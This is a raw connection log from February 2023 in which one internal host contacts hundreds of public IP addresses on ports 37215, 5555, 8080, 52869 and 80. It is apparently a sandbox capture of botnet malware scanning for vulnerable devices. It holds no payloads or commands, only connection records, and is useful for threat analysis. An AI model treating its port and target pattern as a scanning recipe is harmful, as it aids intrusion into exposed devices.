Feb 12, 2023 21:24:43.887159109 CET	52981	37215	192.168.2.23	197.40.158.203
Feb 12, 2023 21:24:43.887161016 CET	52981	37215	192.168.2.23	41.241.104.234
Feb 12, 2023 21:24:43.887159109 CET	52981	37215	192.168.2.23	157.118.0.183
Feb 12, 2023 21:24:43.887161016 CET	52981	37215	192.168.2.23	157.229.91.219
Feb 12, 2023 21:24:43.887161970 CET	52981	37215	192.168.2.23	69.195.183.123
Feb 12, 2023 21:24:43.887164116 CET	52981	37215	192.168.2.23	210.227.35.225
Feb 12, 2023 21:24:43.887164116 CET	52981	37215	192.168.2.23	204.239.37.32
Feb 12, 2023 21:24:43.887164116 CET	52981	37215	192.168.2.23	197.56.112.59
Feb 12, 2023 21:24:43.887183905 CET	52981	37215	192.168.2.23	174.61.112.52
Feb 12, 2023 21:24:43.887208939 CET	52981	37215	192.168.2.23	41.181.12.188
Feb 12, 2023 21:24:43.887208939 CET	52981	37215	192.168.2.23	190.210.87.49
Feb 12, 2023 21:24:43.887212038 CET	52981	37215	192.168.2.23	82.205.78.127
Feb 12, 2023 21:24:43.887212992 CET	52981	37215	192.168.2.23	157.229.232.235
Feb 12, 2023 21:24:43.887213945 CET	52981	37215	192.168.2.23	155.224.38.2
Feb 12, 2023 21:24:43.887213945 CET	52981	37215	192.168.2.23	197.115.103.247
Feb 12, 2023 21:24:43.887214899 CET	52981	37215	192.168.2.23	157.93.135.35
Feb 12, 2023 21:24:43.887213945 CET	52981	37215	192.168.2.23	41.9.112.142
Feb 12, 2023 21:24:43.887214899 CET	52981	37215	192.168.2.23	197.211.68.210
Feb 12, 2023 21:24:43.887213945 CET	52981	37215	192.168.2.23	118.118.52.147
Feb 12, 2023 21:24:43.887214899 CET	52981	37215	192.168.2.23	197.177.142.62
Feb 12, 2023 21:24:43.887217999 CET	52981	37215	192.168.2.23	197.56.0.204
Feb 12, 2023 21:24:43.887218952 CET	52981	37215	192.168.2.23	197.149.41.136
Feb 12, 2023 21:24:43.887218952 CET	52981	37215	192.168.2.23	157.48.48.148
Feb 12, 2023 21:24:43.887218952 CET	52981	37215	192.168.2.23	41.21.113.131
Feb 12, 2023 21:24:43.887245893 CET	52981	37215	192.168.2.23	197.64.85.126
Feb 12, 2023 21:24:43.887245893 CET	52981	37215	192.168.2.23	157.239.97.212
Feb 12, 2023 21:24:43.887252092 CET	52981	37215	192.168.2.23	81.182.192.254
Feb 12, 2023 21:24:43.887252092 CET	52981	37215	192.168.2.23	41.216.73.69
Feb 12, 2023 21:24:43.887252092 CET	52981	37215	192.168.2.23	197.225.166.83
Feb 12, 2023 21:24:43.887254000 CET	52981	37215	192.168.2.23	142.109.68.0
Feb 12, 2023 21:24:43.887252092 CET	52981	37215	192.168.2.23	197.109.40.28
Feb 12, 2023 21:24:43.887254953 CET	52981	37215	192.168.2.23	197.195.164.2
Feb 12, 2023 21:24:43.887254000 CET	52981	37215	192.168.2.23	197.160.179.54
Feb 12, 2023 21:24:43.887254953 CET	52981	37215	192.168.2.23	41.190.8.26
Feb 12, 2023 21:24:43.887260914 CET	52981	37215	192.168.2.23	157.153.95.121
Feb 12, 2023 21:24:43.887299061 CET	52981	37215	192.168.2.23	197.235.112.150
Feb 12, 2023 21:24:43.887299061 CET	52981	37215	192.168.2.23	197.16.5.5
Feb 12, 2023 21:24:43.887303114 CET	52981	37215	192.168.2.23	128.250.154.170
Feb 12, 2023 21:24:43.887303114 CET	52981	37215	192.168.2.23	197.157.130.209
Feb 12, 2023 21:24:43.887304068 CET	52981	37215	192.168.2.23	197.191.97.228
Feb 12, 2023 21:24:43.887304068 CET	52981	37215	192.168.2.23	197.73.160.180
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	132.6.23.117
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	157.143.60.83
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	197.163.127.45
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	157.242.110.65
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	197.85.95.192
Feb 12, 2023 21:24:43.887310028 CET	52981	37215	192.168.2.23	197.88.157.32
Feb 12, 2023 21:24:43.887306929 CET	52981	37215	192.168.2.23	41.69.7.253
Feb 12, 2023 21:24:43.887310028 CET	52981	37215	192.168.2.23	41.138.222.67
Feb 12, 2023 21:24:43.887310028 CET	52981	37215	192.168.2.23	34.99.197.78
Feb 12, 2023 21:24:43.887310028 CET	52981	37215	192.168.2.23	154.151.89.17
Feb 12, 2023 21:24:43.887310028 CET	52981	37215	192.168.2.23	157.200.240.177
Feb 12, 2023 21:24:43.887384892 CET	52981	37215	192.168.2.23	175.206.51.90
Feb 12, 2023 21:24:43.887384892 CET	52981	37215	192.168.2.23	157.42.176.248
Feb 12, 2023 21:24:43.887384892 CET	52981	37215	192.168.2.23	41.150.40.68
Feb 12, 2023 21:24:43.887384892 CET	52981	37215	192.168.2.23	41.89.45.184
Feb 12, 2023 21:24:43.887387037 CET	52981	37215	192.168.2.23	41.49.72.23
Feb 12, 2023 21:24:43.887387037 CET	52981	37215	192.168.2.23	157.166.94.55
Feb 12, 2023 21:24:43.887387037 CET	52981	37215	192.168.2.23	197.252.27.217
Feb 12, 2023 21:24:43.887387037 CET	52981	37215	192.168.2.23	157.219.75.121
Feb 12, 2023 21:24:43.887387037 CET	52981	37215	192.168.2.23	157.185.64.29
Feb 12, 2023 21:24:43.887389898 CET	52981	37215	192.168.2.23	197.76.90.89
Feb 12, 2023 21:24:43.887389898 CET	52981	37215	192.168.2.23	41.42.80.3
Feb 12, 2023 21:24:43.887389898 CET	52981	37215	192.168.2.23	41.94.166.50
Feb 12, 2023 21:24:43.887389898 CET	52981	37215	192.168.2.23	157.221.130.12
Feb 12, 2023 21:24:43.887393951 CET	52981	37215	192.168.2.23	157.42.224.181
Feb 12, 2023 21:24:43.887393951 CET	52981	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:43.887393951 CET	52981	37215	192.168.2.23	73.162.185.186
Feb 12, 2023 21:24:43.887393951 CET	52981	37215	192.168.2.23	197.196.116.195
Feb 12, 2023 21:24:43.887437105 CET	52981	37215	192.168.2.23	157.87.13.146
Feb 12, 2023 21:24:43.887437105 CET	52981	37215	192.168.2.23	41.175.4.3
Feb 12, 2023 21:24:43.887437105 CET	52981	37215	192.168.2.23	157.143.152.121
Feb 12, 2023 21:24:43.887437105 CET	52981	37215	192.168.2.23	157.153.55.182
Feb 12, 2023 21:24:43.887437105 CET	52981	37215	192.168.2.23	183.143.243.127
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	96.174.80.248
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	157.147.170.67
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	197.175.69.34
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	197.150.41.177
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	197.32.20.92
Feb 12, 2023 21:24:43.887440920 CET	52981	37215	192.168.2.23	197.127.156.37
Feb 12, 2023 21:24:43.887458086 CET	52981	37215	192.168.2.23	157.161.107.233
Feb 12, 2023 21:24:43.887458086 CET	52981	37215	192.168.2.23	41.36.62.209
Feb 12, 2023 21:24:43.887458086 CET	52981	37215	192.168.2.23	151.71.93.238
Feb 12, 2023 21:24:43.887458086 CET	52981	37215	192.168.2.23	157.50.14.137
Feb 12, 2023 21:24:43.887514114 CET	52981	37215	192.168.2.23	213.162.217.15
Feb 12, 2023 21:24:43.887514114 CET	52981	37215	192.168.2.23	197.117.43.219
Feb 12, 2023 21:24:43.887514114 CET	52981	37215	192.168.2.23	41.1.54.134
Feb 12, 2023 21:24:43.887514114 CET	52981	37215	192.168.2.23	157.136.82.85
Feb 12, 2023 21:24:43.887514114 CET	52981	37215	192.168.2.23	197.174.93.235
Feb 12, 2023 21:24:43.887518883 CET	52981	37215	192.168.2.23	41.180.149.78
Feb 12, 2023 21:24:43.887518883 CET	52981	37215	192.168.2.23	34.65.2.83
Feb 12, 2023 21:24:43.887518883 CET	52981	37215	192.168.2.23	25.6.114.5
Feb 12, 2023 21:24:43.887518883 CET	52981	37215	192.168.2.23	41.230.195.141
Feb 12, 2023 21:24:43.887521029 CET	52981	37215	192.168.2.23	41.84.11.131
Feb 12, 2023 21:24:43.887521029 CET	52981	37215	192.168.2.23	197.67.200.143
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	157.163.14.3
Feb 12, 2023 21:24:43.887521029 CET	52981	37215	192.168.2.23	40.86.200.166
Feb 12, 2023 21:24:43.887522936 CET	52981	37215	192.168.2.23	197.45.65.74
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	157.198.43.104
Feb 12, 2023 21:24:43.887522936 CET	52981	37215	192.168.2.23	157.251.205.78
Feb 12, 2023 21:24:43.887526035 CET	52981	37215	192.168.2.23	41.219.18.156
Feb 12, 2023 21:24:43.887525082 CET	52981	37215	192.168.2.23	197.6.91.16
Feb 12, 2023 21:24:43.887523890 CET	52981	37215	192.168.2.23	41.172.10.6
Feb 12, 2023 21:24:43.887525082 CET	52981	37215	192.168.2.23	41.16.219.175
Feb 12, 2023 21:24:43.887523890 CET	52981	37215	192.168.2.23	157.223.87.170
Feb 12, 2023 21:24:43.887526035 CET	52981	37215	192.168.2.23	157.27.169.169
Feb 12, 2023 21:24:43.887523890 CET	52981	37215	192.168.2.23	197.114.58.35
Feb 12, 2023 21:24:43.887525082 CET	52981	37215	192.168.2.23	197.209.68.114
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	157.125.80.80
Feb 12, 2023 21:24:43.887523890 CET	52981	37215	192.168.2.23	41.67.176.111
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	157.147.57.149
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	68.201.177.190
Feb 12, 2023 21:24:43.887521982 CET	52981	37215	192.168.2.23	41.29.17.18
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	197.233.43.92
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	41.183.242.139
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	197.104.31.18
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	197.177.159.69
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	197.10.51.1
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	157.29.187.3
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	157.88.97.13
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	60.23.86.126
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	157.20.85.187
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	197.164.20.158
Feb 12, 2023 21:24:43.887594938 CET	52981	37215	192.168.2.23	197.236.4.172
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	197.189.172.10
Feb 12, 2023 21:24:43.887604952 CET	52981	37215	192.168.2.23	41.252.13.177
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	197.87.95.19
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	41.167.76.107
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	157.67.234.251
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	154.132.125.245
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	31.209.185.161
Feb 12, 2023 21:24:43.887604952 CET	52981	37215	192.168.2.23	45.110.178.147
Feb 12, 2023 21:24:43.887604952 CET	52981	37215	192.168.2.23	197.110.3.10
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	171.117.174.213
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	157.157.73.75
Feb 12, 2023 21:24:43.887604952 CET	52981	37215	192.168.2.23	73.207.83.144
Feb 12, 2023 21:24:43.887598038 CET	52981	37215	192.168.2.23	197.26.179.212
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	41.15.83.165
Feb 12, 2023 21:24:43.887604952 CET	52981	37215	192.168.2.23	41.92.12.104
Feb 12, 2023 21:24:43.887605906 CET	52981	37215	192.168.2.23	157.169.43.120
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	157.160.177.82
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	157.7.112.1
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	157.236.18.128
Feb 12, 2023 21:24:43.887603045 CET	52981	37215	192.168.2.23	4.44.83.33
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	197.237.213.92
Feb 12, 2023 21:24:43.887605906 CET	52981	37215	192.168.2.23	38.127.153.245
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	41.104.245.62
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	77.207.1.121
Feb 12, 2023 21:24:43.887605906 CET	52981	37215	192.168.2.23	83.88.135.218
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	157.52.189.42
Feb 12, 2023 21:24:43.887605906 CET	52981	37215	192.168.2.23	157.175.141.42
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	41.103.121.136
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	157.48.155.192
Feb 12, 2023 21:24:43.887609005 CET	52981	37215	192.168.2.23	197.137.195.85
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	132.107.35.160
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	157.223.123.28
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	41.146.209.178
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	41.105.72.79
Feb 12, 2023 21:24:43.887625933 CET	52981	37215	192.168.2.23	41.91.49.85
Feb 12, 2023 21:24:43.887671947 CET	52981	37215	192.168.2.23	117.34.91.180
Feb 12, 2023 21:24:43.887671947 CET	52981	37215	192.168.2.23	157.205.146.46
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	213.251.156.107
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	157.106.83.183
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	169.93.51.70
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	199.215.153.91
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	41.10.109.56
Feb 12, 2023 21:24:43.887672901 CET	52981	37215	192.168.2.23	41.104.194.84
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	41.175.64.91
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	197.66.23.224
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	41.101.115.67
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	141.218.110.130
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	157.196.79.246
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	197.136.233.175
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	59.16.99.48
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	157.175.84.5
Feb 12, 2023 21:24:43.887689114 CET	52981	37215	192.168.2.23	197.54.234.182
Feb 12, 2023 21:24:43.887690067 CET	52981	37215	192.168.2.23	157.151.192.17
Feb 12, 2023 21:24:43.887690067 CET	52981	37215	192.168.2.23	157.38.252.96
Feb 12, 2023 21:24:43.887690067 CET	52981	37215	192.168.2.23	41.110.148.70
Feb 12, 2023 21:24:43.887703896 CET	52981	37215	192.168.2.23	197.94.145.77
Feb 12, 2023 21:24:43.887703896 CET	52981	37215	192.168.2.23	157.227.233.255
Feb 12, 2023 21:24:43.887707949 CET	52981	37215	192.168.2.23	41.183.235.221
Feb 12, 2023 21:24:43.887707949 CET	52981	37215	192.168.2.23	41.168.197.161
Feb 12, 2023 21:24:43.887707949 CET	52981	37215	192.168.2.23	41.54.155.100
Feb 12, 2023 21:24:43.887707949 CET	52981	37215	192.168.2.23	41.154.156.218
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	197.110.66.170
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	197.101.111.165
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	41.79.97.77
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	41.32.212.12
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	186.116.112.116
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	197.127.98.179
Feb 12, 2023 21:24:43.887708902 CET	52981	37215	192.168.2.23	41.231.208.217
Feb 12, 2023 21:24:43.887742996 CET	52981	37215	192.168.2.23	197.166.248.134
Feb 12, 2023 21:24:43.887742996 CET	52981	37215	192.168.2.23	35.67.149.55
Feb 12, 2023 21:24:43.887742996 CET	52981	37215	192.168.2.23	41.3.246.10
Feb 12, 2023 21:24:43.887742996 CET	52981	37215	192.168.2.23	197.115.74.0
Feb 12, 2023 21:24:43.887742996 CET	52981	37215	192.168.2.23	157.91.124.2
Feb 12, 2023 21:24:43.887747049 CET	52981	37215	192.168.2.23	197.14.253.112
Feb 12, 2023 21:24:43.887747049 CET	52981	37215	192.168.2.23	133.23.35.118
Feb 12, 2023 21:24:43.887747049 CET	52981	37215	192.168.2.23	41.157.41.170
Feb 12, 2023 21:24:43.887747049 CET	52981	37215	192.168.2.23	132.56.17.45
Feb 12, 2023 21:24:43.887804985 CET	52981	37215	192.168.2.23	157.219.29.202
Feb 12, 2023 21:24:43.887804985 CET	52981	37215	192.168.2.23	157.47.179.108
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	197.155.228.4
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	157.47.178.164
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	157.245.104.10
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	166.15.40.188
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	197.109.231.224
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	157.35.153.56
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	41.94.64.70
Feb 12, 2023 21:24:43.887819052 CET	52981	37215	192.168.2.23	197.78.142.179
Feb 12, 2023 21:24:43.888104916 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:43.919866085 CET	37215	52981	77.131.0.7	192.168.2.23
Feb 12, 2023 21:24:43.920062065 CET	52981	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:43.924280882 CET	37215	52981	31.209.185.161	192.168.2.23
Feb 12, 2023 21:24:43.935667038 CET	5555	22272	192.126.200.124	192.168.2.23
Feb 12, 2023 21:24:43.947911024 CET	37215	52981	197.199.51.85	192.168.2.23
Feb 12, 2023 21:24:43.948100090 CET	52981	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:43.952148914 CET	50656	37215	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:43.952198982 CET	35150	37215	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:43.952203035 CET	48158	37215	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:43.952199936 CET	51378	37215	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:44.019109011 CET	5555	22272	177.50.12.246	192.168.2.23
Feb 12, 2023 21:24:44.048005104 CET	54658	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:44.048012972 CET	54656	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:44.048003912 CET	55414	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.048042059 CET	55408	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.058413029 CET	58516	8080	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:44.063117027 CET	54366	8080	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:44.069161892 CET	55474	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.079974890 CET	54662	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:44.081204891 CET	40794	8080	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:44.083940983 CET	55418	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.087496042 CET	37215	52981	41.169.51.143	192.168.2.23
Feb 12, 2023 21:24:44.088747025 CET	37215	52981	41.23.253.59	192.168.2.23
Feb 12, 2023 21:24:44.089318991 CET	5555	22272	126.175.40.89	192.168.2.23
Feb 12, 2023 21:24:44.097489119 CET	36732	8080	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:44.133563042 CET	34000	8080	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:44.139081955 CET	50072	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:44.143404961 CET	33284	8080	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:44.143902063 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:44.147351027 CET	47160	8080	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:44.151222944 CET	37215	52981	175.206.51.90	192.168.2.23
Feb 12, 2023 21:24:44.153590918 CET	58570	8080	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:44.368015051 CET	49814	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:44.368017912 CET	40706	80	192.168.2.23	53.46.51.57
Feb 12, 2023 21:24:44.368015051 CET	36526	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:44.368033886 CET	53892	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:44.368058920 CET	57258	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:44.400031090 CET	43928	443	192.168.2.23	91.189.91.42
Feb 12, 2023 21:24:44.414746046 CET	37215	52981	157.50.14.137	192.168.2.23
Feb 12, 2023 21:24:44.463610888 CET	33954	37215	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:44.481494904 CET	32862	37215	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:44.483740091 CET	60612	37215	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.491892099 CET	50360	37215	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:44.493689060 CET	41520	37215	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:44.495949030 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:44.559964895 CET	60174	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:44.655932903 CET	42680	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.655945063 CET	55114	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:44.655956984 CET	36544	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:44.655957937 CET	51060	80	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:44.655957937 CET	43498	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:44.655970097 CET	35664	80	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:44.655980110 CET	46252	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:44.655978918 CET	52150	80	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:44.655978918 CET	57196	80	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:44.687993050 CET	37310	52869	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:44.691934109 CET	34440	52869	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:44.719893932 CET	51060	52869	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:44.720014095 CET	49302	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:44.751982927 CET	34710	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:44.752002954 CET	41306	52869	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:44.752005100 CET	47130	52869	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:44.752006054 CET	45980	52869	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:44.752028942 CET	53312	52869	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:44.779839993 CET	22272	5555	192.168.2.23	150.118.56.122
Feb 12, 2023 21:24:44.779843092 CET	22272	5555	192.168.2.23	114.103.177.207
Feb 12, 2023 21:24:44.779863119 CET	22272	5555	192.168.2.23	217.163.94.39
Feb 12, 2023 21:24:44.779885054 CET	22272	5555	192.168.2.23	90.234.133.148
Feb 12, 2023 21:24:44.779896021 CET	22272	5555	192.168.2.23	203.53.152.8
Feb 12, 2023 21:24:44.779896021 CET	22272	5555	192.168.2.23	169.216.36.21
Feb 12, 2023 21:24:44.779906034 CET	22272	5555	192.168.2.23	166.173.135.11
Feb 12, 2023 21:24:44.779911995 CET	22272	5555	192.168.2.23	64.217.78.234
Feb 12, 2023 21:24:44.779913902 CET	22272	5555	192.168.2.23	35.217.155.230
Feb 12, 2023 21:24:44.779913902 CET	22272	5555	192.168.2.23	152.89.123.15
Feb 12, 2023 21:24:44.779913902 CET	22272	5555	192.168.2.23	34.48.242.19
Feb 12, 2023 21:24:44.779933929 CET	22272	5555	192.168.2.23	171.96.107.188
Feb 12, 2023 21:24:44.779934883 CET	22272	5555	192.168.2.23	173.248.61.152
Feb 12, 2023 21:24:44.779938936 CET	22272	5555	192.168.2.23	181.111.59.33
Feb 12, 2023 21:24:44.779934883 CET	22272	5555	192.168.2.23	140.51.60.63
Feb 12, 2023 21:24:44.779947042 CET	22272	5555	192.168.2.23	216.109.133.224
Feb 12, 2023 21:24:44.779948950 CET	22272	5555	192.168.2.23	1.78.165.91
Feb 12, 2023 21:24:44.779980898 CET	22272	5555	192.168.2.23	209.125.227.202
Feb 12, 2023 21:24:44.780004978 CET	22272	5555	192.168.2.23	104.123.235.212
Feb 12, 2023 21:24:44.780014992 CET	22272	5555	192.168.2.23	92.51.254.72
Feb 12, 2023 21:24:44.780061960 CET	22272	5555	192.168.2.23	221.143.145.176
Feb 12, 2023 21:24:44.780083895 CET	22272	5555	192.168.2.23	219.82.86.61
Feb 12, 2023 21:24:44.780083895 CET	22272	5555	192.168.2.23	197.135.118.210
Feb 12, 2023 21:24:44.780095100 CET	22272	5555	192.168.2.23	67.33.251.94
Feb 12, 2023 21:24:44.780124903 CET	22272	5555	192.168.2.23	65.96.48.172
Feb 12, 2023 21:24:44.780138016 CET	22272	5555	192.168.2.23	19.153.207.189
Feb 12, 2023 21:24:44.780138969 CET	22272	5555	192.168.2.23	142.215.142.157
Feb 12, 2023 21:24:44.780162096 CET	22272	5555	192.168.2.23	201.2.4.72
Feb 12, 2023 21:24:44.780180931 CET	22272	5555	192.168.2.23	61.255.5.111
Feb 12, 2023 21:24:44.780194998 CET	22272	5555	192.168.2.23	83.71.107.170
Feb 12, 2023 21:24:44.780220985 CET	22272	5555	192.168.2.23	133.251.165.17
Feb 12, 2023 21:24:44.780246019 CET	22272	5555	192.168.2.23	104.84.93.70
Feb 12, 2023 21:24:44.780247927 CET	22272	5555	192.168.2.23	84.219.101.186
Feb 12, 2023 21:24:44.780291080 CET	22272	5555	192.168.2.23	98.253.228.19
Feb 12, 2023 21:24:44.780293941 CET	22272	5555	192.168.2.23	183.43.115.39
Feb 12, 2023 21:24:44.780318022 CET	22272	5555	192.168.2.23	174.232.71.159
Feb 12, 2023 21:24:44.780328989 CET	22272	5555	192.168.2.23	173.135.164.103
Feb 12, 2023 21:24:44.780371904 CET	22272	5555	192.168.2.23	158.76.117.146
Feb 12, 2023 21:24:44.780373096 CET	22272	5555	192.168.2.23	34.85.238.169
Feb 12, 2023 21:24:44.780388117 CET	22272	5555	192.168.2.23	41.249.27.29
Feb 12, 2023 21:24:44.780410051 CET	22272	5555	192.168.2.23	23.57.9.141
Feb 12, 2023 21:24:44.780410051 CET	22272	5555	192.168.2.23	122.229.254.7
Feb 12, 2023 21:24:44.780457973 CET	22272	5555	192.168.2.23	37.181.26.57
Feb 12, 2023 21:24:44.780473948 CET	22272	5555	192.168.2.23	142.49.140.130
Feb 12, 2023 21:24:44.780477047 CET	22272	5555	192.168.2.23	71.12.96.230
Feb 12, 2023 21:24:44.780509949 CET	22272	5555	192.168.2.23	201.57.25.71
Feb 12, 2023 21:24:44.780561924 CET	22272	5555	192.168.2.23	116.248.27.161
Feb 12, 2023 21:24:44.780561924 CET	22272	5555	192.168.2.23	39.48.217.102
Feb 12, 2023 21:24:44.780561924 CET	22272	5555	192.168.2.23	102.209.143.180
Feb 12, 2023 21:24:44.780587912 CET	22272	5555	192.168.2.23	45.15.55.9
Feb 12, 2023 21:24:44.780600071 CET	22272	5555	192.168.2.23	205.31.60.86
Feb 12, 2023 21:24:44.780606985 CET	22272	5555	192.168.2.23	169.149.221.55
Feb 12, 2023 21:24:44.780606985 CET	22272	5555	192.168.2.23	31.142.21.61
Feb 12, 2023 21:24:44.780617952 CET	22272	5555	192.168.2.23	136.132.168.208
Feb 12, 2023 21:24:44.780617952 CET	22272	5555	192.168.2.23	110.183.49.225
Feb 12, 2023 21:24:44.780643940 CET	22272	5555	192.168.2.23	187.93.173.169
